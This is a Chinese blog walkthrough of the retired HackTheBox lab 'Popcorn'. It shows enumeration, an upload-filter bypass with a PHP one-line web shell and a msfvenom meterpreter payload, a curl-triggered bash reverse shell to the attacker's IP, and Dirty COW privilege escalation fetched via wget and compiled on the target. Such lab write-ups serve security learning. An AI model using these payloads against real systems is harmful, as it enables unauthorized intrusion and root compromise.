HackTheBox--Popcorn

本文最后更新于:2 年前

前言

这是hack the box退休机器里面的一个中级难度的靶场,需要充VIP才能打。对于我这个菜鸡而言,还是很有些难度的,所以特此写个wp记录一下。

正文

信息收集

nmap先扫一波:

1
nmap -Pn -A 10.10.10.6

发现开了web服务和ftp服务,ftp服务没什么用,于是从web服务入手。访问ip地址以后发现只有默认页面,于是dirbuster爆破一下(这里直接选最小的字典就行,字典存放的默认路径是/usr/share/dirbuster/wordlists):

img

按照下图设置好即可开始爆破。先爆破主目录下面的二级目录:

img

img

发现/torrent返回状态码200,说明有戏。

getshell

访问后发现是一个BT种子的CMS,废话少说,先找上传点。需要登录,这里随便注册个账号(信息随便填):

img

注册登录后点击upload模块,发现上传文件类型被限制为torrent文件,试了各种绕过也不行。没办法,只能通过三级目录入手:

img

爆破后发现下面有databases目录,点进去看到SQL文件,审计后发现管理员账号密码(密码需要md5解密):

img

好像没什么用(有兴趣的师傅可以研究一下),继续找下一个上传点。找了一圈没有找到,只能自己找一个正常的BT种子上传,我选择去kali官网下载一个种子上传。

上传种子以后找到一个图片上传点:

img

下面分享几种getshell的方法:

0x01 利用msf生成shell

我们可以利用msf生成一个PHP的木马:

1
msfvenom -p php/meterpreter/reverse_tcp lhost=tun0 lport=6666 -f raw > shell.php

把文件名改成shell.php.jpg绕过第一层限制,再用burpsuite抓包,改回文件名:

img

去爆破到的/torrent/upload目录下找到刚才上传的webshell,点进去(注意做了改名处理)再刷新,msf设置好各项参数即可拿到反弹回来的shell。

上传成功:

img

0x02 bash一句话,用netcat监听

同样方式上传一句话木马<?php @system($_POST['cmd']);?>,bp改后缀,bash连接一句话:

1
curl http://10.10.10.6/木马路径 --data-urlencode "cmd=bash -c 'bash -i >& /dev/tcp/kali内网ip/端口 0>&1'"

nc监听反弹的shell。

1
nc -lvnp 6666

建议用python自带的伪终端模块:

1
python -c 'import pty;pty.spawn("/bin/bash")'

0x03 github上下载PHP反弹shell

https://github.com/pentestmonkey/php-reverse-shell

拿到www权限后,user.txt就很容易找到了(忘记截图了)。

权限提升

拿到shell后老规矩,先uname -a查看当前系统内核版本,lsbrelease_a查看系统发行版,再上网搜索相关exp,发现有脏牛等几种提权exp。把C语言代码上传到服务器,再编译。上传方式可以是和前面一样,但是文件上传后会重命名,所以我想到以下几种上传exp的方法:

0x01 把exp传到我的vps,再在弹回来的shell里面使用wget下载

0x02 使用scp命令上传文件(失败)

1
scp root@10.10.14.3:/home/kali/Desktop/tiquan.c /tiquan.c #前面的是kali上exp的路径,后面的是靶机路径

这种方法失败了,据说是因为弹回来的shell无法执行scp命令。

最后在某位大佬的提示下,使用python的http模块:

1
2
python3 -m http.server 端口       #python3
python -m SimpleHTTPServer 端口 #python2

在靶机使用wget下载:

1
wget http://kali的内网ip:端口/exp.c

靶机编译并运行:

1
2
3
gcc exp.c -o exp 
chmod +x exp
./exp

这里我遇到了报错(换成官方wp里面的exp出现权限不足提示):

img

既然这个exp和官方wp里面的exp不行,那么换脏牛提权试试:

https://www.exploit-db.com/exploits/40847

各种编译错误,失败。

看了大佬博客以后,发现用了下面的exp才能成功:

https://www.exploit-db.com/exploits/40839

这里要注意编译命令,要带上额外的参数:

1
2
gcc -pthread dirty.c -o dirty -lcrypt
./dirty

编译成功后运行超级慢,不知道是为什么。使用exp中的用户名和自己设置的密码,ssh登录后,进入root文件夹即可找到root.txt。(这里一定要用ssh登录,否则部分命令会无法执行)

img

成功拿下!

img

总结

这个靶机算是很贴近实战的步骤了,个人认为文件上传部分的过滤有些简单,很容易getshell。虽然没有内网部分,但是外网打点仍然值得回味。尤其是提权部分,是整个过程中耗时最长的,也是遇到问题最多的。这也告诉我们,实战中遇到这些问题不要轻易放弃,而是要坚持下去,不是找到exp就万事大吉了。


HackTheBox--Popcorn
https://rookieterry.github.io/2021/11/08/HackTheBox-Popcorn/
作者
HackerTerry
发布于
星期一, 十一月 8日 2021, 9:01 晚上
许可协议